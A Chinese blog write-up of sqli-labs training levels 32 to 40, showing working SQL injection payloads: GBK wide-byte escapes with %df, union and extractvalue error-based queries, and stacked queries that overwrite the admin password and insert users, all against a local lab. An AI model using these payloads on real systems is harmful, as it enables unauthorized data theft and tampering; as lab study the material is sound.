首页 > 数据库 >sqli-labs 32到40

sqli-labs 32到40

时间:2023-05-31 20:34:03浏览次数:48  
标签:闭合 40 labs sqli 报错 --+ table schema 注入

原来29、30、31真正的题目并不是上章写的,这个我们留到最后再议

第32题

 发现对所有特殊字符都进行了转义

理论上来说这道题是不能注入的,因为怎么也闭合不了

但是查看源码发现使用的是gbk编码

 这就导致可以考虑宽字节注入,因为\的url编码为%5c

如果在前面加上另一个url编码就可能导致%5c跟前面加上的一起解码为一个偏僻字

比如前面加上%D4就会转换为汉字診

 导致'成功逃逸。

 闭合方式为'

使用union注入

 之后就简单啦。

第33题

查看闭合方式:"不报错,'报错,与'有关

 

 

 '闭合。

感觉跟上一题没有什么区别

 第34题

是post注入方式,抓包看看

“不报错,'报错

 ’);--+报错,为'闭合

 剩下同理。

第35题

'和”都报错

数字型注入

 剩下同理。

注意一点:因为宽字节注入虽然可以让第一个'顺利逃逸,但后面table_schema='security'的时候是需要用到‘的

解决方法是不用括号,而是直接用security的二进制形式查询

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+

第36题

判断闭合方式为'

 ?id=%df'union select 1,database(),3--+

 与32题一样的。

第37题

 '闭合

正确没有回显,使用报错注入

 

uname=11&passwd=1%df'or extractvalue(0,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479)))--+&submit=Submit

  这里一定注意select前面要加上括号,不加括号会报错。

 剩下同理。

第38题

'闭合的字符型注入

 爆库爆表都跟之前一样,但这是一道堆叠查询注入

 mysqli_multi_query是对多个sql语句进行查询

因此这道题再爆出用户名密码后还可以更改或者插入或者删除等等。

http://localhost/sqli-labs-php7-master/Less-38?id=-1';update users set password='admin'where username='admin'--+

 第39题

 数字型注入的堆叠查询注入。

第40题

闭合方式为'),没有错误回显,union注入

 也可以使用堆叠查询注入插入用户名密码

?id=-1');insert into users(id,username,password) value (21,'sd','bd')--+

 

标签:闭合,40,labs,sqli,报错,--+,table,schema,注入
From: https://www.cnblogs.com/limihacker/p/17447258.html

相关文章

  • 算法学习day35贪心part04-860、406、452
    packageLeetCode.greedypart04;/***860.柠檬水找零*在柠檬水摊上,每一杯柠檬水的售价为5美元。顾客排队购买你的产品,(按账单bills支付的顺序)一次购买一杯。*每位顾客只买一杯柠檬水,然后向你付5美元、10美元或20美元。你必须给每个顾客正确找零,也就是说净交易是每......
  • sqli-labs 27到30
    第27题发现对select和union都进行了顾虑select双写也进行了过滤但是三写没有过滤哈哈(颇有种赖皮的感觉)刚学到一手可以用%00绕过注释符过滤。?id='uunionnion(sseselectlectelect(1),(database()),(1));%00http://localhost/sqli-labs-php7-master/Less-27?id='uunion......
  • HDU1403(后缀数组--最长公共子串)
    题目:LongestCommonSubstring题意:判断给定的两个串中,最长的公共串。思路:将它们合并为一个串,然后利用后缀数组求解。首先是二倍增算法:时间复杂度为O(n*log(n))#include<stdio.h>#include<string.h>#definemax1000010intwa[max],wb[max],wv[max],ws[max];intrank[max],he......
  • 【230531-1】RT三角形ACB中,AC垂直BC,AB=4,CD=2,角ABC=20°,角BCD=40°。求:角CBD度数?
    ......
  • Could not find the DLL(s) 'msvcp140_1.dll'. TensorFlow requires that these DLLs
      python-c"fromtransformersimportpipeline;print(pipeline('sentiment-analysis')('weloveyou'))"MicrosoftVisualC++Redistributableisnotinstalled,thismayleadtotheDLLloadfailure.                Itcanbedow......
  • ZOJ - 4069(2018 青岛现场赛 L) - 指数型生成函数
    题目链接:https://vjudge.net/problem/ZOJ-4069 解题思路:1.n个点组成环的不同种类数是(n-1)!/2;n个点组成一条链的不同种类数是n!/2,特别的n==1时种类数为1。用指数型生成函数表示k个点形成链的种类:1/2(2x+2!*x^2/2!+3!*x^3/3!+4!*x^4/4!+..+n!*x^n/n!)=1/2(2*x+x^2+x^3+x^4+......
  • SQLite与MySQL与PostgreSQL:关系数据库的比较
    概述和功能SQLite是一个基于文件的嵌入式RDBMS,不需要任何安装或设置。反过来,这意味着应用程序不在需要启动,停止或配置的单独服务器进程下运行。这种无服务器架构使数据库能够跨平台兼容。完整的SQL数据库包含在单个磁盘文件中,所有读取和写入都直接在此磁盘文件上进行。由于数据直接......
  • sqli-labs 20到23
    第20题输入用户名密码发现是这样的页面 抓包看看,尝试cookie注入:admin'andextractvalue(1,concat(0x7e,database()))# 其他好做了。第21题抓包是这样: 看看这uname什么成分? 可以看到是对admin先进行了base64编码,然后对=进行了url编码这里尝试对admin进行base6......
  • 腾讯二面:有 40 亿个 QQ 号,限制 1G 内存,问如何去重?被问懵了!
    40亿个QQ号,限制1G内存,如何去重?40亿个unsignedint,如果直接用内存存储的话,需要:4*4000000000/1024/1024/1024=14.9G,考虑到其中有一些重复的话,那1G的空间也基本上是不够用的。想要实现这个功能,可以借助位图。使用位图的话,一个数字只需要占用1个bit,那么40亿个数字也就是:400......
  • leetcode 409. Longest Palindrome
    Givenastringwhichconsistsoflowercaseoruppercaseletters,findthelengthofthelongestpalindromesthatcanbebuiltwiththoseletters.Thisiscasesensitive,forexample"Aa"isnotconsideredapalindromehere.Note:Assumethelength......